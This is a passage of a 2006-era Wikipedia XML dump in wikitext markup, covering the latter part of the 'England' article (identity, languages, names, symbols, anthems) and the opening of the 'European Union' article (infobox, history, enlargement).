Thus, English identity is - for better or worse - closely associated with [[British Nationalism|British]] or [[English nationalism]]. English nationalists claim that the 'original culture' of England is comprised of legacies of [[Brythonic]] tribes of Celts and [[Anglo-Saxons]] appearing in waves of gradual migration. It also seen as being influenced by the Scandinavian legends such as [[Beowulf]] and the [[Norman Conquest]]. The [[Anglo-Saxon Chronicles]] are a common early location for English identity.  

Modern English identity is often built around its sports, one field in which the British [[Home Nations]] often compete individually. In particular the English [[Football (soccer)|Association football]] [[English national football team|team]], [[English rugby union team|Rugby Union team]] and [[English cricket team|Cricket team]] often cause increases in the popularity of 'Englishness'.

England is often called the 'non-[[Modern Celts|Celtic]]' part of the UK, but this is increasingly seen as incorrect, many of the &quot;English&quot; have very strong Celtic roots, due to the numerous Celtic tribes and factions still inhabiting what is now lowland England in the 5th century. Historians are now agreeing that these were not displaced or massacred; rather, they remained, often living alongside their Anglo-Saxon neighbours and eventually absorbing their culture and language over time.

==Culture==

[[Image:Shakespeare.jpg|thumb|right|[[William Shakespeare]].]]

''Main article: [[Culture of England]]''

*[[English literature]]
**[[Sir Thomas Browne]]
**[[Geoffrey Chaucer]]
**[[John Milton]]
**[[William Shakespeare]]
**[[Jane Austen]]
**[[Mary Wollstonecraft Shelley|Mary Shelley]]
**[[Charles Dickens]]
**[[Thomas Hardy]]
**[[George Orwell]]
**[[Evelyn Waugh]]
**[[J. R. R. Tolkien]]
**[[C. S. Lewis]]
**[[Douglas Adams]]
**[[J.K. Rowling]]
*[[List of national parks of England and Wales]]
*[[England/Food and Drink|Food and Drink]]
*[[English folklore]]
*[[English art]]
**[[English school of painting]]
*[[Music of England]]

==Languages==

[[Image:Beowulf.firstpage.jpeg|thumb|right|[[Beowulf]] is one of the oldest surviving epic poems in what is identifiable as a form of the [[English language]].]]

As its name suggests, the [[English language]], today spoken by hundreds of millions of people around the world, originated as the language of England, where it remains the principal tongue today (although not officially designated as such). (However, the Enlish language does vary slightly in different places.) An [[Indo-European]] language in [[Anglo-Frisian languages|Anglo-Frisian]] branch of the [[Germanic languages|Germanic]] family, it is closely related to [[Scots language|Scots]] and [[Frisian language|Frisian]]. As the Anglo-Saxon kingdoms merged into England, &quot;[[Old English language|Old English]]&quot; emerged; some of its literature and poetry has survived.

Used by aristocracy and commoners alike before the [[Norman Conquest of England|Norman Conquest]] (1066), English was displaced in cultured contexts under the new regime by the [[Norman language|Norman French]] language of the new Anglo-French aristocracy. Its use was confined primarily to the lower social classes while official business was conducted in a mixture of [[Latin]] and French. Over the following centuries, however, English gradually came back into fashion among all classes and for all official business except certain traditional ceremonies. (Some survive to this day.) But [[Middle English]], as it had by now become, showed many signs of French influence, both in vocabulary and spelling. During the [[Renaissance]], many words were coined from [[Latin (language)|Latin]] and [[Greek (language)|Greek]] origins; and more recent years, [[Modern English]] has extended this custom, being always remarkable for its far-flung willingness to incorporate foreign-influenced words.

The law does not recognise any language as being official, but [[English language|English]] is the only language used in England for general official business. The other national languages of the UK ([[Welsh language|Welsh]], [[Irish language|Irish Gaelic]] and [[Scots Gaelic language|Scottish Gaelic]]) are confined to their respective nations, and only Welsh is treated by law as an equal to English (and then only for organisations which do business in Wales).

The only non-[[Anglic]] native spoken language in England is the [[Cornish language]], a [[Celtic languages|Celtic language]] spoken in [[Cornwall]], which became extinct in the 19th century but has been revived and is spoken in various degrees of fluency by around 3,500 people. This has no official status (unlike Welsh) and is not required for official use, but is nonetheless supported by national and local government under the [[European Charter for Regional or Minority Languages]]. Cornwall County Council has produced [http://www.cornwall.gov.uk/cornish/strategy/english/engl01.htm a draft strategy] to develop these plans. There is, however, no programme as yet for public bodies to actively promote the language. [[Scots language|Scots]] is spoken by some adjacent to the Anglo-Scottish Border.

Most [[deaf]] people within England speak [[British sign language]] (BSL), a [[sign language]] native to Britain. The [[British Deaf Association]] estimates that 70,000 people throughout the UK speak BSL as their first or preferred language, but does not give statistics specific to England. Like Cornish, BSL has no official status, but has been granted a degree of recognition by the government. The [[BBC]] broadcasts several of its programmes with BSL interpreters.

Different languages from around the world, especially from the former [[British Empire]] and the [[Commonwealth of Nations]], have been brought to England by immigrants. Many of these are widely spoken within ethnic minority communities, including [[Punjabi language|Punjabi]], [[Hindi language|Hindi]], [[Urdu language|Urdu]], [[Bengali language|Bengali]], [[Gujarati language|Gujarati]], [[Chinese language|Chinese]] and [[Vietnamese language|Vietnamese]]. These are often used by official bodies to communicate with the relevant sections of the community, particularly in big cities, but this occurs on an &quot;as needed&quot; basis rather than as the result of specific legislative ordinances.

Other languages have also traditionally been spoken by minority populations in England, including [[Romany language|Romany]].

Despite the relatively small size of the nation, there are a large number of distinct [[Regional accents of English speakers#England|English regional accents]]. Those with particularly strong accents may not be easily understood elsewhere in the country. Use of foreign non-standard varieties of English (such as [[Caribbean English]]) is also widespread.

==Nomenclature==

The country is named after the [[Angles]], one of several [[Germanic tribe]]s who settled the country in the [[5th century|5th]] and [[6th century|6th]] centuries.
There are two distinct linguistic patterns for the name of the country.

{{col-begin}}
{{col-2}}
The majority of European languages use names akin to &quot;England&quot;:

*&quot;England&quot; ([[Danish language|Danish]], [[German language|German]], [[Icelandic Language|Icelandic]], [[Swedish language|Swedish]], [[Norwegian language|Norwegian]])
*&quot;Engeland&quot; ([[Dutch language|Dutch]])
*&quot;Inglismaa&quot; ([[Estonian language|Estonian]])
*&quot;Angleterre&quot; ([[French language|French]])
*&quot;Англия&quot; (Angliya) ([[Bulgarian language|Bulgarian]])
*&quot;Anglaterra&quot; ([[Catalan language|Catalan]])
*&quot;İngiltere&quot; ([[Turkish language|Turkish]])
*&quot;Inghilterra&quot; ([[Italian language|Italian]])
*&quot;Ingilterra&quot; ([[Maltese language|Maltese]])
*&quot;Inglaterra&quot; ([[Spanish language|Spanish]], [[Portuguese language|Portuguese]], [[Galician language|Galician]])
*&quot;Anglia&quot; ([[Latin (language)|Latin]], [[Hungarian language|Hungarian]], [[Polish language|Polish]], [[Romanian language|Romanian]], [[Albanian language|Albanian]])
*&quot;Anglija&quot; ([[Russian language|Russian]], [[Slovenian language|Slovene]], [[Lithuanian language|Lithuanian]], [[Ukrainian language|Ukrainian]])
*&quot;Engleska&quot; ([[Croatian language|Croatian]], [[Serbian language|Serbian]])
*&quot;Αγγλία&quot; (&quot;Anglía&quot;) ([[Greek language|Greek]])
*&quot;Englanti&quot; ([[Finnish language|Finnish]])
{{col-2}}
The [[Celtic languages|Celtic]] names are quite different:

*&quot;Bro-Saoz&quot; ([[Breton language|Breton]])
*&quot;Pow Sows&quot; ([[Cornish language|Cornish]])
*&quot;Sasana&quot; ([[Irish language|Irish]])
*&quot;Sasainn&quot; ([[Scottish Gaelic]])
*&quot;Lloegr&quot; ([[Welsh language|Welsh]]) &amp;mdash; but &quot;Saeson&quot; for the inhabitants.
*&quot;Sostyn&quot; ([[Manx Gaelic]])

Except for ''Lloegr'', which is an ancient geographic term, these names are all derived from the [[Saxons]], another family of Germanic tribes which arrived at about the same time as the Angles.

{{col-end}}

See: [[wikt:England|Wiktionary:England]] for a further list of non-English names for England.

&quot;England&quot; is sometimes mistakenly used to refer to the entire [[United Kingdom]], the island of [[Great Britain]], or the [[British Isles]]. This will offend people from other parts of the UK. Frequently the English use the less-specific &quot;Britain&quot; or &quot;the UK&quot;, even when &quot;England&quot; is technically correct and commonly also use &quot;England&quot; when &quot;Britain&quot; would be correct.

Alternative names include:

*the slang &quot;Blighty&quot;, from the [[Hindustani language|Hindustani]] &quot;bila yati&quot; meaning &quot;foreign&quot;
* &quot;[[Albion]]&quot;, an ancient name popularised by [[Pliny the Elder]] and [[Ptolemy]] in the 1st century. Supposedly referring to the white ([[Latin]] ''alba'') cliffs of [[Dover, England|Dover]], this term has also been interpreted as a relative of [[Alba]], today the [[Scots Gaelic]] name for Scotland. Whatever its origins, &quot;Albion&quot; originally referred to the whole island of [[Great Britain]] and is still sometimes seen that way today &amp;mdash; but is more often used for England.
*More poetically, England has been called &quot;this sceptred isle...this other Eden&quot; and &quot;this green and pleasant land&quot;, quotations respectively from the poetry of [[William Shakespeare]] (in ''[[Richard II (play)|Richard II]]'') and [[William Blake]] (''[[And did those feet in ancient time]]'').

The inhabitants of England are the '''English'''. The slang terms sometimes used for them include &quot;Sassenachs&quot; (from the [[Scots Gaelic]]), &quot;Limeys&quot; (in reference to the [[citrus fruit]]s carried aboard English sailing vessels to prevent [[scurvy]]) and &quot;Pom/Pommy&quot; (used in [[Australian English#Vocabulary|Australian English]] and [[New Zealand English]]), but these may be perceived as offensive. Also see [[alternative words for British]].

==Symbols and insignia==

[[Image:England crest.png|thumb|right|The logo of the [[England national football team]] combines the ''Three Lions'' with the [[Tudor rose]].]]

The two traditional symbols of England are the [[St. George's cross]] (the [[English flag]]) and the ''Three Lions'' [[coat of arms of England|coat of arms]] (see above), both derived from the great Norman powers that formed the monarchy &amp;ndash; the Cross of [[Aquitaine]] and the Lions of [[Anjou]]. The three lions were first definitely used by [[Richard I of England|Richard I]] (''Richard the Lionheart'') in the late 12th century (although it is also possible that [[Henry I of England|Henry I]] may have bestowed it on his son Henry before then). Historian [[Simon Schama]] has argued that the Three Lions are the true symbol of England because the English throne descended down the [[Angevin]] line.

A red cross acted as a symbol for many [[crusade|Crusaders]] in the 12th and 13th centuries. It became associated with [[St George]] and England, along with other countries and cities (such as [[Georgia (country)| Georgia]], [[Milan]] and the [[Republic of Genoa]]), which claimed him as their [[patron saint]] and used his cross as a banner. It remained in national use until 1707, when the [[Union Jack]] (more properly known as the Union Flag, except when used at sea) which English and Scottish ships had used at sea since 1606, was adopted for all purposes to unite the whole of Great Britain under a common flag. The flag of England no longer has much of an official role, but it is widely flown by [[Church of England]] properties and at sporting events. (Paradoxically, the latter is a fairly recent development; until the late 20th century, it was commonplace for fans of English teams to wave the Union Flag, rather than the St George's Cross).

The [[rose]] is widely recognised as the [[national flower]] of England and is used in a variety of contexts. Predominantly, this is a red rose (which also symbolises [[Lancashire]]), such as the badge of the [[England national rugby union team|English Rugby Union team]]. However, a white rose (which also symbolises [[Yorkshire]]) or a &quot;[[Tudor rose]]&quot; (symbolising the end of the [[Wars of the Roses|War of the Roses]]) may also be used on different occasions.

The Three Lions badge performs a similar role for the [[English national football team]] and [[English national cricket team]].

==National anthems==
Although England does not have an official anthem of its own, the following are widely regarded as English national hymns:

*&quot;[[And did those feet in ancient time|Jerusalem]]:&quot; Words by [[William Blake]], Music by [[Hubert Parry]]
*&quot;[[I Vow to Thee, My Country]]&quot;: Words by [[Cecil Spring-Rice]], Music by [[Gustav Holst]]
*&quot;[[Land of Hope and Glory]]&quot;: Words by [[A C Benson]], Music by [[Edward Elgar]] (although this refers to all of [[Great Britain]], not only England)
*&quot;[[Enigma Variations|Nimrod]]&quot;: Music by [[Edward Elgar]]

&quot;[[God Save The Queen]]&quot; (the national anthem for the UK as a whole) is usually played for English sporting events (e.g. football matches), although &quot;Land of Hope and Glory&quot; has also been used as the English anthem for the [[Commonwealth Games]]. &quot;[[Rule Britannia]]&quot; despite being a song about Britain as a whole was often used for the [[English national football team]] when they play against another of the [[home nations]] but more recently 
&quot;[[God Save The Queen]]&quot; has been used by both the rugby and football teams. Many believe that English teams should use their own anthems, most popular of which is the use of &quot;Jerusalem&quot;.

==References==
*[http://www.statistics.gov.uk Office of National Statistics]

==See also==
{{portal}}
{{sisterlinks|England}}
* {{wikitravel}}
* [[English language]]
* [[English law]]
* [[English people]]
* [[List of monarchs of England]] &amp;ndash; [[Kings of England family tree]]
* [[List of English people]]
* [[Angeln]] (region in northern [[Germany]], presumably the origin of the [[Angles]] for whom England is named)
* [[UK topics]]
* [[List of not fully sovereign nations]]
* [[Education in England]]

==External links==
&lt;!-- hmm, seems to be blue {{wikicommons|England}} --&gt;

* [http://www.enjoyengland.com/ The official website of the English Tourist Board &amp;mdash; Enjoy England]
* [http://www.bbc.co.uk/history/state/nations/ BBC Nations]: articles on England and her neighbours
* [http://www.thecep.org.uk Campaign for an English Parliament]: campaigning for a fair devolution settlement.
{{United Kingdom}}

[[Category:England| ]]
[[Category:Monarchies]]
[[Category:European countries]]

[[als:England]]
[[af:Engeland]]
[[ang:Englaland]]
[[roa-rup:Anglia]]
[[ar:إنجلترا]]
[[be:Англія]]
[[bg:Англия]]
[[zh-min-nan:England]]
[[bs:Engleska]]
[[ca:Anglaterra]]
[[cs:Anglie]]
[[cy:Lloegr]]
[[da:England]]
[[de:England]]
[[et:Inglismaa]]
[[el:Αγγλία]]
[[es:Inglaterra]]
[[eo:Anglio]]
[[fr:Angleterre]]
[[fy:Ingelân]]
[[ga:Sasana]]
[[gd:Sasainn]]
[[gl:Inglaterra - England]]
[[ko:잉글랜드]]
[[id:Inggris]]
[[is:England]]
[[it:Inghilterra]]
[[he:אנגליה]]
[[ka:ინგლისი]]
[[ku:Îngiltere]]
[[kw:Pow Sows]]
[[la:Anglia]]
[[lt:Anglija]]
[[li:Ingeland]]
[[hu:Anglia]]
[[ms:England]]
[[nl:Engeland]]
[[nds:England]]
[[ja:イングランド]]
[[no:England]]
[[nn:England]]
[[pl:Anglia]]
[[pt:Inglaterra]]
[[ro:Anglia]]
[[rm:Engalterra]]
[[ru:Англия]]
[[sco:Ingland]]
[[st:Engêlanê]]
[[simple:England]]
[[sk:Anglicko]]
[[sl:Anglija]]
[[sr:Енглеска]]
[[fi:Englanti]]
[[sv:England]]
[[to:'Ingilani]]
[[th:แคว้นอังกฤษ]]
[[vi:Anh]]
[[uk:Англія]]
[[zh:英格兰]]</text>
    </revision>
  </page>
  <page>
    <title>European Union</title>
    <id>9317</id>
    <revision>
      <id>42007280</id>
      <timestamp>2006-03-03T04:34:02Z</timestamp>
      <contributor>
        <username>Regulus marzo4103</username>
        <id>911753</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Use en-UK spelling 
--&gt;{{Otheruses6|EU}}&lt;!--
 The following table used to be a template - past edit history saved at &quot;European Union/table&quot; --&gt;
{| align=right
|-
|
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;float: right; width: 300px; margin: 0 0 1em 1em; border-collapse: collapse; font-size: 95%;&quot;
|-
|+ style=&quot;font-size: larger; margin-left: inherit;&quot; | &lt;big&gt;&lt;big&gt;'''European Union'''&lt;/big&gt;&lt;/big&gt;&lt;small&gt;&lt;sup&gt;{{Fn|1}}&lt;/sup&gt;&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; |
[[Image:European flag.svg|300px|Flag of the European Union]] 
&lt;br /&gt;
[[European flag]]
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | &lt;small&gt;[[European symbols#Motto|Motto]]: ''In varietate concordia''&lt;br&gt;([[Latin|Latin]]: ''Unity in diversity)''&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | &lt;small&gt;[[Anthem]]: [[Ode to Joy]] (orchestral)
|-
| colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;background: #ffffff;&quot; | [[Image:LocationEuropeanUnion25.png|300px]]
|-
|'''[[European Parliament|Parliament]]'''
| [[Strasbourg]] (official seat), &lt;br/&gt;[[Brussels]] (executive), &lt;br/&gt;[[Luxembourg City]] (administrative)
|-
|'''Member states'''
| [[Austria]], [[Belgium]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Estonia]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Hungary]], [[Ireland]], [[Italy]], [[Latvia]], [[Lithuania]], [[Luxembourg]], [[Malta]], [[Netherlands]], [[Poland]], [[Portugal]], [[Slovakia]], [[Slovenia]], [[Spain]], [[Sweden]], [[United Kingdom]]
|-
|'''Largest City'''
| [[London]]
|-
|'''[[Europe Day]]'''
| [[9 May]], [[1950]]
|-
| '''[[Official language|Official&amp;nbsp;languages]]&lt;small&gt;&lt;sup&gt;{{Fn|2}}&lt;/sup&gt;&lt;/small&gt;'''
| [[Czech language|Czech]], [[Danish language|Danish]], [[Dutch language|Dutch]], [[English language|English]], [[Estonian language|Estonian]], [[Finnish language|Finnish]], [[French language|French]], [[German language|German]], [[Modern Greek|Greek]], [[Hungarian language|Hungarian]], [[Italian language|Italian]], [[Latvian language|Latvian]], [[Lithuanian language|Lithuanian]], [[Maltese language|Maltese]], [[Polish language|Polish]], [[Portuguese language|Portuguese]], [[Slovak language|Slovak]], [[Slovene language|Slovene]], [[Spanish language|Spanish]], [[Swedish language|Swedish]]
|-
|'''[[Working language|Working&amp;nbsp;languages]]&lt;small&gt;&lt;sup&gt;{{Fn|2}}&lt;/sup&gt;&lt;/small&gt;'''
| [[English language|English]], [[French language|French]], [[German language|German]] 
|- 
| '''Presidencies''' &lt;br&gt; - [[European Council]] &lt;br&gt; - [[Council of the European Union|Council of the EU]] &lt;br&gt; - [[European Commission|Commission]] &lt;br&gt; - [[European Parliament|EU Parliament]]
| &lt;br&gt; [[Wolfgang Schüssel]] &lt;br&gt; [[Austria]] &lt;br&gt; [[José Manuel Durão Barroso]] &lt;br&gt; [[Josep Borrell Fontelles]]
|-
| '''Formation'''&lt;br&gt;As [[EEC]]&lt;br&gt;&amp;nbsp;- Signed&lt;br&gt;&amp;nbsp;- Enforced

As EU&lt;br&gt;&amp;nbsp;- [[Signed]]&lt;br&gt;&amp;nbsp;- [[Enforced]]

|&lt;br&gt;[[Treaty of Rome]]&lt;br&gt;&amp;nbsp;- [[25 March]], [[1957]]&lt;br&gt;&amp;nbsp;- [[1 January]], [[1958]]

[[Maastricht Treaty]]&lt;br&gt;&amp;nbsp;- [[7 February]], [[1992]]&lt;br&gt;&amp;nbsp;- [[1 November]], [[1993]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total
| [[List of countries by area|Ranked 7th]]&lt;small&gt;&lt;sup&gt;{{Fn|3}}&lt;/sup&gt;&lt;/small&gt;&lt;br&gt;[[1 E12 m²|3,976,372 km²]]
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total&amp;nbsp;(2005)&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| [[List of countries by population|Ranked 3rd]]&lt;small&gt;&lt;sup&gt;{{Fn|3}}&lt;/sup&gt;&lt;/small&gt;&lt;br&gt;459,500,000&lt;br&gt;115.6 people/km²
|-
| '''[[Gross Domestic Product|GDP]]''' (2005)&lt;br&gt;&amp;nbsp;- Total ([[Purchasing power parity|PPP]])&lt;br&gt;&amp;nbsp;- Per capita ([[Purchasing power parity|PPP]])
| [[List of countries by GDP (PPP)|Ranked 1st]]&lt;small&gt;&lt;sup&gt;{{Fn|3}}&lt;/sup&gt;&lt;/small&gt;&lt;br&gt;$12,329,110 million&lt;br&gt;$26,900
|-
| '''[[Currency|Currencies]]'''
|
[[Euro]] ([[ISO 4217|EUR]] or €)&lt;small&gt;&lt;sup&gt;{{Fn|4}}&lt;/sup&gt;&lt;/small&gt;&lt;br&gt;
'''Other currencies''':&lt;br&gt;
[[British pound]] (GBP or £), &lt;br&gt;
[[Cyprus Pound|Cyprus pound]] (CYP or C£),&lt;br&gt;
[[Czech koruna]] (CZK or Kč),&lt;br&gt;
[[Danish krone]] (DKK or kr),&lt;br&gt;
[[Estonian kroon]] (EEK or kr),&lt;br&gt;
[[Hungarian forint]] (HUF or Ft),&lt;br&gt;
[[Lats|Latvian lats]] (LVL or Ls),&lt;br&gt;
[[Litas|Lithuanian litas]] (LTL or Lt),&lt;br&gt;
[[Maltese Lira|Maltese lira]] (MTL or Lm),&lt;br&gt;
[[Złoty|Polish złoty]] (PLN or zł),&lt;br&gt;
[[Slovak koruna]] (SKK or Sk),&lt;br&gt;
[[Tolar|Slovene tolar]] (SIT),&lt;br&gt;
[[Swedish krona]] (SEK or kr)
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] 0 to +2&lt;small&gt;&lt;sup&gt;{{Fn|5}}&lt;/sup&gt;&lt;/small&gt;
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.eu]]
|-
| '''[[List of country calling codes|Calling codes]]'''
| All current members have calling codes begin with +3 or +4&lt;small&gt;&lt;sup&gt;{{Fn|6}}&lt;/sup&gt;&lt;/small&gt;
|-
| colspan=&quot;2&quot; | &lt;small&gt;&lt;sup&gt;{{Fnb|1}}&lt;/sup&gt; [[Names of the European Union in the official languages|See other official names]]&lt;br&gt;
&lt;sup&gt;{{Fnb|2}}&lt;/sup&gt;See [[Languages of the European Union]]; member states may have other official languages&lt;br&gt;
&lt;sup&gt;{{Fnb|3}}&lt;/sup&gt; if counted as a single unit&lt;br&gt;
&lt;sup&gt;{{Fnb|4}}&lt;/sup&gt; Used by [[Eurozone]] members and EU institutions&lt;br&gt;
&lt;sup&gt;{{Fnb|5}}&lt;/sup&gt; +1 to +3 during [[Daylight saving time|DST]]; French [[overseas département]]s, UTC -4 to +4&lt;br&gt;
&lt;sup&gt;{{Fnb|6}}&lt;/sup&gt;Earlier plans for a EU-wide +3 prefix have been abandoned.  The [[ETNS|European Telephony Numbering Space, +388 3]] is somewhat similar&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;right&quot; style=&quot;padding: 0 5px;&quot; | {{edit|European Union|}}
|}
|}


The '''European Union''' or the '''EU''' is an [[Intergovernmentalism|intergovernmental]] and [[Supranationalism|supranational]] union of 25 democratic countries known as [[European Union member states|member states]]. The European Union was established under that name in 1992 by the ''Treaty on European Union'' (the [[Maastricht Treaty]]). However, many aspects of the Union existed before that date through a series of predecessor relationships, dating back to 1951.

The European Union's activities cover all areas of public policy, from [[health]] and [[economics|economic]] policy to [[foreign affairs]] and [[defense (military)|defence]]. However, the extent of its powers differs greatly between areas. Depending on the area in question, the EU may therefore resemble:

*a [[federation]] (for example, on monetary affairs, agricultural, trade and environmental policy, economic and social policy)
*a [[confederation]] (for example, on home affairs)
*an [[international organization|international organisation]] &lt;!-- Organisation is spelt how it is th EU--&gt;(for example, in foreign affairs)

A key activity of the EU is the establishment and administration of a common [[single market]], consisting of a [[customs union]], a [[Euro| single currency]] (adopted by 12 of the 25 member states), a [[Common Agricultural Policy]], a common trade policy, and a [[Common Fisheries Policy]].

The most important EU institutions are the [[Council of the European Union]], the [[European Commission]], the [[European Parliament]] and  the [[European Court of Justice]].

==Status==   
The members of the European Union have transferred to it considerable [[sovereignty]], more than that of any other non-sovereign [[International organisation#List of Regional Organisations|regional organisation]]. As has been mentioned, in certain areas the EU begins to take on the character of a [[federation]] or [[confederation]]. However, in legal terms, member states remain the ''masters of the Treaties'', which means that the Union does not have the power to transfer additional powers from states onto itself without their agreement through further international treaties. Further, in many areas member states have given up relatively little national sovereignty, particularly in key areas of national interest such as foreign relations and defence. This unique structure means the European Union is perhaps best seen as a ''[[sui generis]]'' entity. 

On [[29 October]], [[2004]], European heads of government and state [[signature|sign]]ed the [[Treaty establishing a Constitution for Europe]]. This has been ratified by 13 member states and is currently awaiting ratification by the other states.  However, this process faltered on [[May 29]] [[2005]] when the majority of French voters rejected the constitution in a referendum by 54.7%. [[French referendum on the European Constitution|The French rejection]] was followed three days later by a [[Dutch referendum on the European Constitution|Dutch one]] on [[June 1]] when in the [[Netherlands]] 61.6% of voters refused the constitution as well.

The current and future status of the European Union therefore continues to be subject of political controversy, with widely differing views both within and between member states. For example, in the [[United Kingdom]] one poll suggested that around 50% of the population are indifferent to the European Union. However, other countries are more in favour of European integration &amp;mdash; soon after the Netherlands and the French voted &quot;no&quot; on the constitution, the tiny Grand Duchy of [[Luxembourg]] voted &quot;yes.&quot;  What the term &quot;European integration&quot; itself means is also the subject of much debate.

==Current issues==
Major issues currently facing the European Union cover its membership, structure, procedures and policies; they include the adoption, abandonment or adjustment of the new [[European Constitution|constitutional treaty]], the [[Enlargement of the European Union|Union's enlargement]] to the south and east (see below), resolving the Union's problematic fiscal and [[democratic deficit|democratic accountability]], revision of the rules of the [[Stability and Growth Pact]], and the future budget and the [[Common Agricultural Policy]].

At the December 2005 [[Intergovernmental Conference]] (IGC), which is a semi-annual meeting of EU member states'
heads of state and government, EU member states decided on how it should allocate the EU budget for the next seven years (2007-2013). Also, the &quot;[[Financial Perspective]]&quot; was defined as EU members agreed to fix the common budget to 1.045% of the European [[Gross Domestic Product|GDP]]. UK Prime Minister [[Tony Blair]] agreed to review the [[UK rebate|British rebate]], negotiated by [[Margaret Thatcher]] in 1984, despite a promise to the contrary made to the UK Parliament. French President [[Jacques Chirac]] declared that this increase in budget will permit Europe to &quot;finance common policies&quot; such as the [[Common Agricultural Policy]] or the [[Sixth Framework Programme|Research and Technological Development Policy]]. However, France's demand to lower the [[Value added tax|VAT]] in catering was refused.

Issues controversial during upcoming budget debates were the [[UK rebate|British rebate]], France's benefits from the [[Common Agricultural Policy]], Germany and the Netherlands' large contributions to the EU budget, and reform of the [[European Regional Development Fund]]s. Many commentators have envisaged these debates to yield a major split between governments such as France and Germany, who call for a broader budget and a more federal union, and governments such as that of the UK, who demand a slimmer budget with more funding transferred to science and research (and whose watchword is ''[[modernisation]]'').

[[Image:Rometreaty.jpg|thumb|300px|Signing ceremony of the Treaty of Rome, 1957]]

==Origins and history==
{{main|History of the European Union}}

Attempts to unite the disparate nations of Europe precede the modern [[nation state]]s; they have occurred repeatedly throughout the history of Europe. Three thousand years ago, Europe was dominated by the [[Celt]]s, and then conquered and ruled by the Mediterranean centred [[Roman Empire]]. These early unions were created by force. The [[Franks|Frankish]] empire of [[Charlemagne]] and the [[Holy Roman Empire]] united large areas under a loose administration for hundreds of years. More recently the 1800s [[customs union]] under [[Napoleon I of France|Napoleon]] and the 1940s conquests of [[Germany]] had only transitory existence.

Given Europe's collections of [[European languages|languages]] and cultures, these attempts usually involved [[Occupation|military subjugation]] of unwilling nations, leading to instability, others have lasted hundreds of years and large spells of peace and economical and technological progress as in the Roman Empire's [[Pax Romana]]. One of the first proposals for peaceful unification through cooperation and equality of membership was made by the [[pacifism|pacifist]] [[Victor Hugo]] in 1851. Following the catastrophes of the [[World War I|First World War]] and the [[World War II|Second World War]], the impetus for the founding of (what was later to become) the European Union greatly increased, driven by the determination to rebuild Europe and to eliminate the possibility of another war. This sentiment eventually led to the formation of the [[European Coal and Steel Community]] by [[Germany|(West) Germany]], [[France]], [[Italy]] and the [[Benelux]] countries.  This was accomplished by the [[Treaty of Paris (1951)|Treaty of Paris]], signed in April, 1951, and taking effect in July, 1952.

The first full customs union was originally known as the '''European Economic Community''' (informally called the '''Common Market''' in the UK), established by the [[Treaty of Rome]] in 1957 and implemented on [[1 January]] [[1958]]. This later changed to the '''European Community''' which is now the &quot;first pillar&quot; of the European Union. The EU has evolved from a trade body into an economic and political partnership. For more details, please see [[History of the European Union]]. As president of the [[Convention on the Future of Europe]], the former French president Valéry Giscard d'Estaing proposed to change the name of the European Union to United Europe but it was not adopted.

==Member states and enlargement==
{{main articles|[[European Union member states]], [[Enlargement of the European Union]], and [[European Union Membership criteria]]}}
			
The European Union has 25 member states, an area of 3,892,685 [[square kilometre|km²]] and approximately 460 million EU citizens as of December 2004. If it were a country, it would be the [[List of countries by area|seventh largest in the world]] by area and the [[List of countries by population|third largest]] by population after [[China]] and [[India]]. The EU describes itself as a &quot;a family of democratic European countries&quot; [http://europa.eu.int/abc/panorama/index_en.htm] but two of the member states, [[Cyprus]] and [[Malta]], are sometimes considered not to belong to Europe in a geographical sense. 
			
The European Union has land borders with 20 nations and sea borders with 31.

{{further|[[Countries bordering the European Union]]}}
[[Image:EU map names isles.png|center| Map of EU member states, 2007 admissions and candidate countries]]	
			
Since its inception with six countries, nineteen further states have joined in successive waves of enlargement:
	
{| class=&quot;wikitable&quot;
! Year !! Country
|-
|valign=&quot;top&quot;|1952 || [[Belgium]], [[France]], [[West Germany]], [[Italy]], [[Luxembourg]], [[The Netherlands]] (founding members)
|-
|valign=&quot;top&quot;|1973 || [[Denmark]], [[Republic of Ireland|Ireland]], [[United Kingdom]]
|-
|valign=&quot;top&quot;|1981 || [[Greece]]
|-
|valign=&quot;top&quot;|1986 || [[Portugal]], [[Spain]]
|-
|valign=&quot;top&quot;|1990 || [[East Germany]] reunites with [[West Germany]] and becomes part of the EU
|-
|valign=&quot;top&quot;|1995 || [[Austria]], [[Finland]], [[Sweden]]
|-
|valign=&quot;top&quot;|2004 || [[Cyprus]], [[Czech Republic]], [[Estonia]], [[Hungary]], [[Latvia]], [[Lithuania]], [[Malta]], [[Poland]], [[Slovakia]], [[Slovenia]]
|}

'''Note:'''
* [[Greenland]], which was granted [[home rule]] by [[Denmark]] in 1979, left the European Community in 1985, following a referendum.
* [[Romania]] and [[Bulgaria]] will join the EU on [[1 January]] [[2007]]
===Overseas territories===
Several overseas territories and dependencies have close associations with particular EU member states, for example [[Greenland]], the [[Isle of Man]], the [[Azores]] and [[Madeira]].

{{further|[[Special member state territories and their relations with the EU]]}}

===Future enlargement and close relationships===
{{main|Enlargement of the EU}} 
* [[Romania]] and [[Bulgaria]] are scheduled to become members on [[1 January]] [[2007]], provided that they meet the [[Copenhagen criteria|conditions for membership]] and that the Treaty of Accession for the Republic of Bulgaria and Romania is ratified by parliaments of member states. The treaty was signed by representatives of the EU Member States at the Abbaye de Neumünster in Luxembourg on [[25 April]] 2005. As of 2005, member state parliaments are taking forward its ratification.
{{further|[[Accession of Bulgaria to the European Union]]}}
{{further|[[Accession of Romania to the European Union]]}}

